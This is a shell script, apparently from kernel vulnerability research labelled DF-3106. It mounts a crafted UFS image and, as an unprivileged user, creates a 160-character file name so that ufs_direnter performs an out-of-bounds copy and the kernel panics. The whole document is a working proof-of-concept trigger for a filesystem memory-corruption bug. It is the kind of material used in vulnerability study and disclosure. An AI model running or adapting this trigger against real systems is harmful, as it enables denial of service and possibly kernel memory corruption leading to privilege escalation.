#!/bin/sh
# DF-3106 trigger.sh — mount the crafted image RW and create a file with the
# name length that selects the poisoned compaction region.
#
# The create() runs as the UNPRILEGED user (maxx) — the only kernel-side
# authorization is VOP_EACCESS(dvp, VWRITE) at ufs_lookup.c:378, satisfied
# by the 0777 mode baked into the image.
#
# Usage (as root): ./trigger.sh <A|B>
LOG=/root/df3106/trigger_$1.out
: > "$LOG"
emit() { echo "$@"; echo "$@" >> "$LOG"; }

V="${1:-A}"
IMG=/root/df3106/df3106_$V.img
MNT=/mnt/df3106

emit "=== DF-3106 trigger variant $V $(date +%T) ==="
emit "uname: $(uname -v)"
emit "sysctl debug.dircheck: $(sysctl -n debug.dircheck)"

VN=$(vnconfig -c vn "$IMG" 2>&1 | awk '{print $1}' | head -1)
emit "vn device: $VN"
mkdir -p "$MNT"
mount -t ufs "/dev/$VN" "$MNT"
emit "mounted RW; ls -li /mnt/df3106/d:"
ls -li "$MNT/d" 2>&1 | while read line; do emit "  $line"; done

if [ "$V" = "A" ]; then
	NAME=$(printf 'A%.0s' $(jot 160 2>/dev/null || seq 1 160))
else
	NAME=$(printf 'B%.0s' $(jot 160 2>/dev/null || seq 1 160))
fi
emit "creating ${#NAME}-char name (DIRECTSIZ=${#NAME} -> see dir.h) as user maxx ..."
emit "expect: panic ufs_direnter: compact1/compact2 AFTER the OOB bcopy"

( su -m maxx -c "touch '$MNT/d/$NAME'" ) >> "$LOG" 2>&1 &
BGPID=$!
sleep 20
if kill -0 $BGPID 2>/dev/null; then
	emit "STILL RUNNING after 20s (unexpected for A/B — should have panicked)"
	kill -9 $BGPID 2>/dev/null
else
	emit "touch exited (rc recorded above)"
fi
emit "=== trigger done $(date +%T) ==="
